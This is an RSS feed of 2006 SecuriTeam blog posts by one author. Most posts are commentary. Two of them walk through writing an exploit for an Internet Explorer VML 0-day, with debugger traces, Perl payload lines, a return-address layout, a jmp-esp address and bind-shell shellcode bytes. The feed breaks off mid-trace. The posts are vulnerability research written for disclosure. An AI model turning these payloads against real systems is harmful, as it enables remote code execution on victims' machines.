<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SecuriTeam Blogs &#187; Trirat Kira P</title>
	<atom:link href="http://blogs.securiteam.com/index.php/archives/author/trirat/feed" rel="self" type="application/rss+xml" />
	<link>http://blogs.securiteam.com</link>
	<description>Thoughts about the world of security</description>
	<lastBuildDate>Tue, 15 May 2012 05:11:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>M$ Firefox</title>
		<link>http://blogs.securiteam.com/index.php/archives/722</link>
		<comments>http://blogs.securiteam.com/index.php/archives/722#comments</comments>
		<pubDate>Tue, 07 Nov 2006 12:19:30 +0000</pubDate>
		<dc:creator>Trirat Kira P</dc:creator>
				<category><![CDATA[Funny]]></category>

		<guid isPermaLink="false">http://blogs.securiteam.com/index.php/archives/722</guid>
		<description><![CDATA[While there are Windows 0-day exploit (XML core) again, I have found some funny web site. It&#8217;s about M$ Firefox&#8216;s features, http://www.msfirefox.com/microsoft-firefox/index.html. Having fun Trirat Kira P.]]></description>
			<content:encoded><![CDATA[<p>While there are Windows 0-day exploit (XML core) again, I have found some funny web site. It&#8217;s about <strong>M$ Firefox</strong>&#8216;s features, http://www.msfirefox.com/microsoft-firefox/index.html. Having fun <img src='http://blogs.securiteam.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Trirat Kira P.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblogs.securiteam.com%2Findex.php%2Farchives%2F722&amp;title=M%24%20Firefox" id="wpa2a_2"><img src="http://blogs.securiteam.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blogs.securiteam.com/index.php/archives/722/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flaw in Vista&#8217;s ASLR</title>
		<link>http://blogs.securiteam.com/index.php/archives/651</link>
		<comments>http://blogs.securiteam.com/index.php/archives/651#comments</comments>
		<pubDate>Fri, 29 Sep 2006 06:03:29 +0000</pubDate>
		<dc:creator>Trirat Kira P</dc:creator>
				<category><![CDATA[Commentary]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://blogs.securiteam.com/index.php/archives/651</guid>
		<description><![CDATA[For the exploit writers on Windows platform, one of the protection mechanism in Vista that they have to faced with is Address Spaces Layout Randomization (ASLR). ASLR is the security feature that prevent the attacker exploit the vulnerable programs by arrange randomly the address spaces of stack, heap, library and so on. This make the [...]]]></description>
			<content:encoded><![CDATA[<p>For the exploit writers on Windows platform, one of the protection mechanism in Vista that they have to faced with is Address Spaces Layout Randomization (<a href="http://en.wikipedia.org/wiki/ASLR">ASLR</a>). ASLR is the security feature that prevent the attacker exploit the vulnerable programs by arrange randomly the address spaces of stack, heap, library and so on. This make the attacker hard to predict the key entity in exploitation phase &#8211; such as return address, function pointer &#8211; so the rate of successful of the exploit will become in low rate. (This is the reason why I hate ASLR, lol)</p>
<p>But before the final version of Vista will be released, <strong>Ali Rahbar</strong> from Sysdream had analyzed Vista&#8217;s ASLR and he found some flaw in it.</p>
<blockquote><p>But 32 possibilities is not much, and for buffer overflow exploitation, in some situations it is really feasible to do a brute force on the 32 possible values. But why has Microsoft used only 32 out of 256 possibilities</p></blockquote>
<p><span id="more-651"></span>The flaw is that M$ use  8 bits in the randomization. Instead they use all of 8 bits, they just used 5 bits &#8211; 256 possibilities compare with 32 possibilities. This will let the attacker bruteforce easier than it should be. The original article can be found here <a href="http://www.sysdream.com/articles/Analysis-of-Microsoft-Windows-Vista%27s-ASLR.pdf">Analysis-of-Microsoft-Windows-Vista&#8217;s-ASLR</a></p>
<p>From the attacker&#8217;s point of view, this flaw degrade the protection of Vista. In Vista, the attacker have to faced with <a href="http://en.wikipedia.org/wiki/ASLR">ASLR</a>, <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention">DEP</a>, /GS and /SAFESEH. It is quite difficult to break all of these protections to gain the code execution. However, if they can overcome ASLR which is an important one, things will become more easier.</p>
<p>Trirat Kira Puttaraksa</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblogs.securiteam.com%2Findex.php%2Farchives%2F651&amp;title=Flaw%20in%20Vista%E2%80%99s%20ASLR" id="wpa2a_4"><img src="http://blogs.securiteam.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blogs.securiteam.com/index.php/archives/651/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>New 0-day in the Old bug</title>
		<link>http://blogs.securiteam.com/index.php/archives/646</link>
		<comments>http://blogs.securiteam.com/index.php/archives/646#comments</comments>
		<pubDate>Thu, 28 Sep 2006 03:25:47 +0000</pubDate>
		<dc:creator>Trirat Kira P</dc:creator>
				<category><![CDATA[Commentary]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://blogs.securiteam.com/index.php/archives/646</guid>
		<description><![CDATA[Now, CERT have already released the advisory 0-day IE bug, &#8220;WebViewFolderIcon ActiveX&#8221;. This bug, WebViewFolderIcon or another name &#8220;SetSlice&#8221; bug, is discovered by H D Moore on 18 July 2006 or early date &#8211; 2 months ago and he described it in one of his blog Browser Fun. I think that this bug was fixed [...]]]></description>
			<content:encoded><![CDATA[<p>Now, CERT have already released the <a href="http://www.us-cert.gov/cas/techalerts/TA06-270A.html">advisory</a> 0-day IE bug, &#8220;WebViewFolderIcon ActiveX&#8221;. This bug, WebViewFolderIcon or another name &#8220;SetSlice&#8221; bug, is discovered by H D Moore on 18 July 2006 or early date &#8211; 2 months ago and he described it in one of his blog <a href="http://browserfun.blogspot.com/">Browser Fun</a>.</p>
<p>I think that this bug was fixed in past 2 months, however, I&#8217;m wrong. The public exploit is released from Metasploit project on Sep 26 and it can successful exploit on XP SP0 &#8211; SP2 with IE 6 SP1 and it should work for 2K and 2K3.</p>
<p>This bug should not be 0-day if guys from M$ had read H D M blog <img src='http://blogs.securiteam.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (or they had already read, but ignore it, lol)</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblogs.securiteam.com%2Findex.php%2Farchives%2F646&amp;title=New%200-day%20in%20the%20Old%20bug" id="wpa2a_6"><img src="http://blogs.securiteam.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blogs.securiteam.com/index.php/archives/646/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Heap Spraying: Exploiting Internet Explorer VML 0-day XP SP2</title>
		<link>http://blogs.securiteam.com/index.php/archives/641</link>
		<comments>http://blogs.securiteam.com/index.php/archives/641#comments</comments>
		<pubDate>Mon, 25 Sep 2006 03:43:49 +0000</pubDate>
		<dc:creator>Trirat Kira P</dc:creator>
				<category><![CDATA[Digest]]></category>
		<category><![CDATA[Full Disclosure]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://blogs.securiteam.com/index.php/archives/641</guid>
		<description><![CDATA[Credits: Niega At the first time, I decide the release the article at Oct 10. But there is someone already publish the exploit, so there is no means to still keep it private. Last article, I had described that my method can&#8217;t be used to exploit XP SP2. But things change because Niega give me [...]]]></description>
			<content:encoded><![CDATA[<p>Credits: Niega</p>
<p>At the first time, I decide the release the article at Oct 10. But there is someone already publish the exploit, so there is no means to still keep it private.</p>
<p>Last article, I had described that my method can&#8217;t be used to exploit XP SP2. But things change because Niega give me some information that he could produce some error that different from the old one.</p>
<blockquote><p>This exception may be expected and handled.<br />
eax=0013be58 ebx=001cc564 ecx=0013be4c edx=00000041 esi=000020d4 edi=00140000<br />
eip=6f9eed1e esp=0013be34 ebp=0013c05c iopl=0         nv up ei pl nz na pe nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206<br />
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program\Delade filer\Microsoft Shared\VGX\vgx.dll -<br />
vgx!$DllMain$_gdiplus+0x30e8d:<br />
6f9eed1e 668917          mov     word ptr [edi],dx        ds:0023:00140000=6341</p></blockquote>
<p>IE crashes, but not with the security cookie checking failure. This is the interesting one, may be I can made the code execution from this (the reason why I&#8217;m give up to find the way to made the exploit work on XP SP2 because there is others can do it). Niega said that he produce the error by overwrite the stack massively. I reproduce the error by create the attack vector like this:<br />
<span id="more-641"></span></p>
<blockquote><p>&#8230;<br />
$page = $page . &#8220;\x41\x41\x41\x41&#8243; x 65535;<br />
&#8230;</p></blockquote>
<p>It gives the same result:</p>
<blockquote><p>(538.590): Access violation &#8211; code c0000005 (first chance)First chance exceptions are reported before any exception handling<br />
This exception may be expected and handled.eax=0013be5c ebx=03148f2c ecx=0013be50 edx=00004141 esi=000020d2 edi=00140000eip=5deded1e esp=0013be38 ebp=0013c060 iopl=0 nv up ei pl nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206<br />
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0&#215;38:<br />
5deded1e 668917           mov     [edi],dx              ds:0023:00140000=6341</p></blockquote>
<p>I look into the error to find the point that can lead to the code execution, but not found the interesting one. However, when I close WinDBG and open it again, something that I’m looking for is happened:</p>
<blockquote><p>(538.590): Access violation &#8211; code c0000005 (first chance)First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=0013bfe0 ebx=0447a034 ecx=0013bfd4 edx=00004141 esi=00002010 edi=00140000<br />
eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206<br />
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0&#215;38:<br />
5deded1e 668917           mov     [edi],dx              ds:0023:00140000=6341<br />
0:000&gt; g<br />
(538.590): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9037d8 esi=00000000 edi=00000000<br />
eip=41414141 esp=0013bbec ebp=0013bc0c iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246<br />
41414141 ??               ???</p></blockquote>
<p>Hey !!? eip jumps to address 0&#215;41414141 &#8211; the value that we can control. Then I open my first version exploit, remove the heap spraying code section and modify the attack vector to this:</p>
<blockquote><p>$page = $page . &#8220;\x0d\x0d\x0d\x0d&#8221; x 65535;</p></blockquote>
<p>This is the result:</p>
<blockquote><p>This exception may be expected and handled.<br />
eax=0013bfe0 ebx=0334007c ecx=0013bfd4 edx=00000d0d esi=00002010 edi=00140000<br />
eip=5deded1e esp=0013bfbc ebp=0013c1e4 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206<br />
vgx!_IE5_SHADETYPE_TEXT::TOKENS::Ptok+0&#215;38:<br />
5deded1e 668917           mov     [edi],dx              ds:0023:00140000=6341<br />
0:000&gt; g<br />
(bc.148): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000<br />
eip=0d0d0d0d esp=0013bbec ebp=0013bc0c iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246<br />
0d0d0d0d ??               ???</p></blockquote>
<p>(I have to close WinDBG and open it again everytime to produce this result, I don’t know why ? If you know, plz tell me, lol)</p>
<p>Now we can control eip completely on XP SP2. I just enable the heap spraying code section again and use IE browse the exploit page. I see that IE is not crashed and my machine has opened port 5555 &#8211; the exploit success ^-^. I test it again without the debugger and it’s also OK – the exploit work with a little modification !!! Thanks Niega <img src='http://blogs.securiteam.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Now, I will investigate deeply why a little modification can give me a big result. At the point IE crashes, I execute a single instruction at time:</p>
<blockquote><p>0:000&gt; p<br />
eax=0013bfe0 ebx=0335007c ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000<br />
eip=7c90eaf0 esp=0013bccc ebp=0013c1e4 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
ntdll!KiUserExceptionDispatcher+0&#215;4:<br />
7c90eaf0 8b1c24           mov     ebx,[esp]         ss:0023:0013bccc=0013bcd4<br />
…<br />
7c90eaf5 e8c78c0200       call    ntdll!RtlDispatchException (7c9377c1)<br />
0:000&gt; p<br />
(9d8.5e0): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000<br />
eip=0d0d0d0d esp=0013bbec ebp=0013bc0c iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246<br />
0d0d0d0d ??               ???</p></blockquote>
<p>IE calls ntdll!RtlDispatchException – 0x7c9377c1 – before it jump into 0x0d0d0d0d. This give me some clue that the massive bytes 0x0d will overwrite to some exception handler. I set breakpoint at 0x7c9377c1 to see more details:</p>
<blockquote><p>Breakpoint 1 hit<br />
eax=0013bfe0 ebx=0013bcd4 ecx=0013bcf0 edx=00000d0d esi=00002010 edi=00140000<br />
eip=7c9377c1 esp=0013bcc0 ebp=0013c1e4 iopl=0         nv up ei pl nz na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206<br />
ntdll!RtlDispatchException:<br />
7c9377c1 8bff             mov     edi,edi<br />
0:000&gt; p<br />
&#8230;<br />
ntdll!RtlDispatchException+0xac:<br />
7c93785b e8f3befcff      call ntdll!RtlpExecuteHandlerForException (7c903753)<br />
0:000&gt; bp 7c903753<br />
0:000&gt; p<br />
Breakpoint 2 hit<br />
eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c90eb94 esi=0013bcd4 edi=00140000<br />
eip=7c903753 esp=0013bc34 ebp=0013bcbc iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246<br />
ntdll!RtlpExecuteHandlerForException:<br />
7c903753 bad837907c       mov     edx,0x7c9037d8</p></blockquote>
<p>Now it call ntdll!RtlpExecuteHandlerForException.</p>
<blockquote><p>&#8230;<br />
0:000&gt; p<br />
eax=0013bca8 ebx=0013eae8 ecx=0000c460 edx=7c9037d8 esi=0013bcd4 edi=00140000<br />
eip=7c903758 esp=0013bc34 ebp=0013bcbc iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246<br />
ntdll!RtlpExecuteHandlerForException+0&#215;5:<br />
7c903758 eb0d             jmp     ntdll!ExecuteHandler (7c903767)<br />
&#8230;<br />
ntdll!ExecuteHandler+0x1f:<br />
7c903786 e80e000000       call    ntdll!ExecuteHandler2 (7c903799)<br />
0:000&gt; bp 7c903799<br />
0:000&gt; p<br />
Breakpoint 3 hit<br />
eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000<br />
eip=7c903799 esp=0013bc10 ebp=0013bcbc iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246<br />
ntdll!ExecuteHandler2:<br />
7c903799 55               push    ebp</p></blockquote>
<p>Then call ntdll!ExecuteHandler2.</p>
<blockquote><p>&#8230;<br />
eax=00000000 ebx=00000000 ecx=0000c460 edx=7c9037d8 esi=00000000 edi=00000000<br />
eip=7c9037ba esp=0013bbf0 ebp=0013bc0c iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246<br />
ntdll!ExecuteHandler2+0&#215;21:<br />
7c9037ba 8b4d18           mov     ecx,[ebp+0x18]    ss:0023:0013bc24=0d0d0d0d<br />
0:000&gt; p<br />
eax=00000000 ebx=00000000 ecx=0d0d0d0d edx=7c9037d8 esi=00000000 edi=00000000<br />
eip=7c9037bd esp=0013bbf0 ebp=0013bc0c iopl=0         nv up ei pl zr na po nc<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246<br />
ntdll!ExecuteHandler2+0&#215;24:<br />
7c9037bd ffd1             call    ecx {0d0d0d0d}</p></blockquote>
<p>As you can see, ecx is set to 0x0d0d0d0d at instruction address 0x7c9037ba. Then, the instruction &#8220;call ecx&#8221; is executed so the flow of execution will jump to 0x0d0d0d0d.</p>
<p><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fblogs.securiteam.com%2Findex.php%2Farchives%2F641&amp;title=Heap%20Spraying%3A%20Exploiting%20Internet%20Explorer%20VML%200-day%20XP%20SP2" id="wpa2a_8"><img src="http://blogs.securiteam.com/wp-content/plugins/add-to-any/share_save_171_16.png" width="171" height="16" alt="Share"/></a></p>]]></content:encoded>
			<wfw:commentRss>http://blogs.securiteam.com/index.php/archives/641/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Heap Spraying: Exploiting Internet Explorer VML 0-day</title>
		<link>http://blogs.securiteam.com/index.php/archives/638</link>
		<comments>http://blogs.securiteam.com/index.php/archives/638#comments</comments>
		<pubDate>Sat, 23 Sep 2006 06:01:34 +0000</pubDate>
		<dc:creator>Trirat Kira P</dc:creator>
				<category><![CDATA[Digest]]></category>
		<category><![CDATA[Full Disclosure]]></category>
		<category><![CDATA[Microsoft]]></category>

		<guid isPermaLink="false">http://blogs.securiteam.com/index.php/archives/638</guid>
		<description><![CDATA[[UPDATE: Sep 24th, 2006] Finally, got the code execution on XP SP2. However, because of the serious damage, I will not publish things about this until M$ release the patch. Sorry for inconvenient At the time I write this article, This exploit is still 0-day, there is no patch. I decide to write this exploit [...]]]></description>
			<content:encoded><![CDATA[<p>[<strong>UPDATE</strong>: Sep 24th, 2006] Finally, got the code execution on XP SP2. However, because of the serious damage, I will not publish things about this until M$ release the patch. Sorry for inconvenient</p>
<p>At the time I write this article, This exploit is still 0-day, there is no patch. I decide to write this exploit because I just wanna to know that which platform is exploitable. Xsec’s exploit show that W2k platform is exploitable, so I decide to work with XP platform.</p>
<p>I use Shirkdog’s PoC as the starting point to see how IE crash. This is the result:</p>
<blockquote><p>(6ec.6f0): Access violation &#8211; code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00310030 ebx=ffffff88 ecx=0013bec4 edx=001832cc esi=00000000 edi=00000000<br />
<span id="more-638"></span><br />
eip=5acc2794 esp=0013bec0 ebp=0013c0d4 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293<br />
vgx!_IE5_SHADETYPE_TEXT::Text+0&#215;81:<br />
5acc2794 8938            mov     dword ptr [eax],edi  ds:0023:00310030=00000000</p></blockquote>
<p>The access violation occurs at 0x5acc2794 because of writing to the address that eax point to – 0&#215;00310030. I look at the code and found that it is at last 2nd byte at the “method”:</p>
<blockquote><p>…<br />
v:fill method=”AAAAAAAAAAAAA…BCD01” …<br />
…</p></blockquote>
<p>The byte 0&#215;31 is 1 and 0&#215;30 is 0. I confirm this by change the “method” to be like this:</p>
<blockquote><p>…<br />
v:fill method=”AAAAAAAAAAAAA…BCDFF” …<br />
…</p></blockquote>
<p>This is the result:</p>
<blockquote><p>vgx!_IE5_SHADETYPE_TEXT::Text+0&#215;81:<br />
5acc2794 8938            mov     dword ptr [eax],edi  ds:0023:00460046=????????</p></blockquote>
<p>As you can see, we can control eax partially. There is the byte 0&#215;00 between each character. I recognize this quickly &#8211; if I wanna to control eax completely, I have to create HTML file in unicode file format (If you wanna to know why I recoginize it quickly, you can read this post <a href="http://sf-freedom.blogspot.com/2006/07/heap-spraying-internet-exploiter.html">“Heap Spraying: Internet Exploiter”</a>. I had been got stuck about this 2 hours, lol).I create a simple perl script to generate the HTML file in unicode format. This is a part of code that trigger the access violation:</p>
<blockquote><p>&#8230;<br />
$page = $page . &#8220;\x41\x00&#8243; x 256 . &#8220;\xaa\xaa\xaa\xaa&#8221;;<br />
&#8230;</p></blockquote>
<p>Then I use IE browse the page generated by this script:</p>
<blockquote><p>eax=aaaaaaaa ebx=ffffff88 ecx=0013c034 edx=001efffc esi=00000000 edi=00000000<br />
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293<br />
vgx!_IE5_SHADETYPE_TEXT::Text+0&#215;81:<br />
5acc2794 8938            mov     dword ptr [eax],edi  ds:0023:aaaaaaaa=????????</p></blockquote>
<p>Yez, I can control eax completely. But the next problem is what’s the value of eax that I should set ? It has to be the writable memory. Because I have not much time to find the good one, I decide to write it to 0x77fc3210 – Pointer to First Vectored Handler in XP. This is the result:</p>
<blockquote><p>Breakpoint 0 hit<br />
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000<br />
eip=5acc2794 esp=0013c030 ebp=0013c244 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293<br />
vgx!_IE5_SHADETYPE_TEXT::Text+0&#215;81:<br />
5acc2794 8938            mov     dword ptr [eax],edi  ds:0023:77fc3210=00000000<br />
0:000&gt; u<br />
vgx!_IE5_SHADETYPE_TEXT::Text+0&#215;81:<br />
5acc2794 8938            mov     dword ptr [eax],edi<br />
5acc2796 b001            mov     al,1<br />
5acc2798 5f              pop     edi<br />
5acc2799 eb02            jmp     vgx!_IE5_SHADETYPE_TEXT::Text+0x8a (5acc279d)<br />
5acc279b 32c0            xor     al,al<br />
5acc279d c9              leave<br />
5acc279e c20800          ret     8<br />
vgx!_IE5_SHADETYPE_TEXT::Save:<br />
5acc27a1 55              push    ebp<br />
0:000&gt; p<br />
eax=77fc3210 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00000000 edi=00000000<br />
eip=5acc2796 esp=0013c030 ebp=0013c244 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000293<br />
vgx!_IE5_SHADETYPE_TEXT::Text+0&#215;83:<br />
5acc2796 b001            mov     al,1</p></blockquote>
<p>The access violation doesn’t occur at 0x5acc2749. This means that 0x77fc3210 is writable. I continue run WinDBG:</p>
<blockquote><p>eax=00000000 ebx=ffffff88 ecx=0013c034 edx=001f5ec4 esi=00039a28 edi=001f5ec4<br />
eip=00000000 esp=00130008 ebp=00000000 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000293<br />
00000000 ??              ???</p></blockquote>
<p>The access violation occurs again, but eip points to 0&#215;00000000 in this time. To see more details, I modify my perl script:</p>
<blockquote><p>…<br />
$page = $page . &#8220;\x41\x00&#8243; x 256 . &#8220;\x10\x32\xfc\x77” . “\xaa\xaa\xaa\xaa” x 64;<br />
…</p></blockquote>
<p>This is the result when I browse the page with IE:</p>
<blockquote><p>eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001efdb4 esi=00000000 edi=001efdb4<br />
eip=aaaaaaaa esp=0013c254 ebp=aaaaaaaa iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293<br />
aaaaaaaa ??</p></blockquote>
<p>We can control eip completely !!! This is a simple stack-based buffer overflow vulnerability &#8211; easy to exploit <img src='http://blogs.securiteam.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . After I have found that the offset that overwrite eip is the 2nd of 4 bytes “\xaa\xaa\xaa\xaa”, I plan to layout the exploit code like this:</p>
<blockquote><p>…<br />
$page = $page . &#8220;\x41\x00&#8243; x 256 .<br />
&#8220;\x10\x32\xfc\x77” .  # writable memory<br />
&#8220;\x44\x44\x44\x44&#8243;. # padding<br />
“\xaa\xaa\xaa\xaa” . # return address<br />
“\x90\x90\x90\x90” x 16 . # padding<br />
“\xcc\xcc\xcc\xcc”; # shellcode &#8220;break instruction&#8221;<br />
…</p></blockquote>
<p>I intend to set the return address to 0xaaaaaaaa to locate our shellcode when IE crash:</p>
<blockquote><p>eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f3ec4 esi=00000000 edi=001f3ec4<br />
eip=aaaaaaaa esp=0013c254 ebp=44444444 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293<br />
aaaaaaaa ??              ???<br />
0:000&gt; dd esp<br />
0013c254  90909090 90909090 90909090 90909090<br />
0013c264  90909090 90909090 90909090 90909090<br />
0013c274  90909090 90909090 90909090 90909090<br />
0013c284  90909090 90909090 cccccccc 00000000</p></blockquote>
<p>Wow, our shellcode is in stack. Just change 0xaaaaaaaa to the address of instruction “jmp esp”, our shellcode will be executed. I use <a href="http://www.metasploit.com/opcode_database.html">Metasploit’s Opcode Database</a> to find such a address – 0x71ab7bfb (XP SP0 + SP1, ws2_32.dll). I change 0xaaaaaaaa to 0x71ab7bfb and use IE browse the page:</p>
<blockquote><p>(144.56c): Break instruction exception &#8211; code 80000003 (first chance)<br />
eax=77fc3201 ebx=ffffff88 ecx=0013c034 edx=001f6ec4 esi=00000000 edi=001f6ec4<br />
eip=0013c28c esp=0013c254 ebp=44444444 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00010293<br />
0013c28c cc              int     3<br />
0:000&gt; u eip &#8211; 0&#215;4<br />
0013c288 90              nop<br />
0013c289 90              nop<br />
0013c28a 90              nop<br />
0013c28b 90              nop<br />
0013c28c cc              int     3<br />
0013c28d cc              int     3<br />
0013c28e cc              int     3<br />
0013c28f cc              int     3</p></blockquote>
<blockquote><p>Ha ha, our shellcode is executed. The last part of this is just change the shellcode “break instruction” to the real shellcode – port 5555 binding (Metasploit) shellcode in this case – and test it (don’t forget that the length of shellcode must be even numbers because our file format is unicode 16). But the problem still exists – shellcode doesn’t run correctly. I look at the point that my shellcode crash:</p></blockquote>
<blockquote><p>(5fc.1b0): Illegal instruction &#8211; code c000001d (first chance)<br />
(5fc.1b0): Illegal instruction &#8211; code c000001d (!!! second chance !!!)<br />
eax=77fc331d ebx=fffffe88 ecx=0013c033 edx=002236a4 esi=00000000 edi=002236a4<br />
eip=005f0029 esp=0013c24c ebp=44444443 iopl=0         nv up ei ng nz ac po cy<br />
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000293<br />
005f0029 ff              ???<br />
0:000&gt; kb<br />
ChildEBP RetAddr  Args to Child<br />
WARNING: Frame IP not in any known module. Following frames may be wrong.<br />
0013c248 0013c276 ffffffeb 90909090 90909090 0x5f0029<br />
&#8230;<br />
0:000&gt; dd 0013c276 &#8211; 0&#215;12<br />
0013c264  90909090 90909090 eb6afc90 fff9e84d<br />
0013c274  8b60003f 8b24246c 7c8b3c45 ef017805<br />
&#8230;.<br />
0:000&gt; u 0013c276 &#8211; 0&#215;12<br />
0013c264 90              nop<br />
0013c265 90              nop<br />
0013c266 90              nop<br />
0013c267 90              nop<br />
0013c268 90              nop<br />
0013c269 90              nop<br />
0013c26a 90              nop<br />
0013c26b 90              nop<br />
0:000&gt; u<br />
0013c26c 90              nop<br />
0013c26d fc              cld<br />
0013c26e 6aeb            push    0FFFFFFEBh<br />
0013c270 4d              dec     ebp<br />
<strong> 0013c271 e8f9ff3f00      call    0053c26f</strong><br />
0013c276 60              pushad<br />
0013c277 8b6c2424        mov     ebp,dword ptr [esp+24h]</p></blockquote>
<p>Illegal instruction ? This is the shellcode:</p>
<blockquote><p>&#8220;\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45&#8243;.<br />
&#8230;</p></blockquote>
<p>Our bytes in shellcode has been changed, from 0xffff to 0x3f00. How could this happen ? I put “\xff\xff\xff\xff” as the shellcode and test again:</p>
<blockquote><p>eax=77fc300b ebx=ffffff88 ecx=0013c034 edx=001e76c4 esi=00000000 edi=001e76c4<br />
eip=0013c271 esp=0013c254 ebp=44444444 iopl=0         ov up ei ng nz ac pe nc<br />
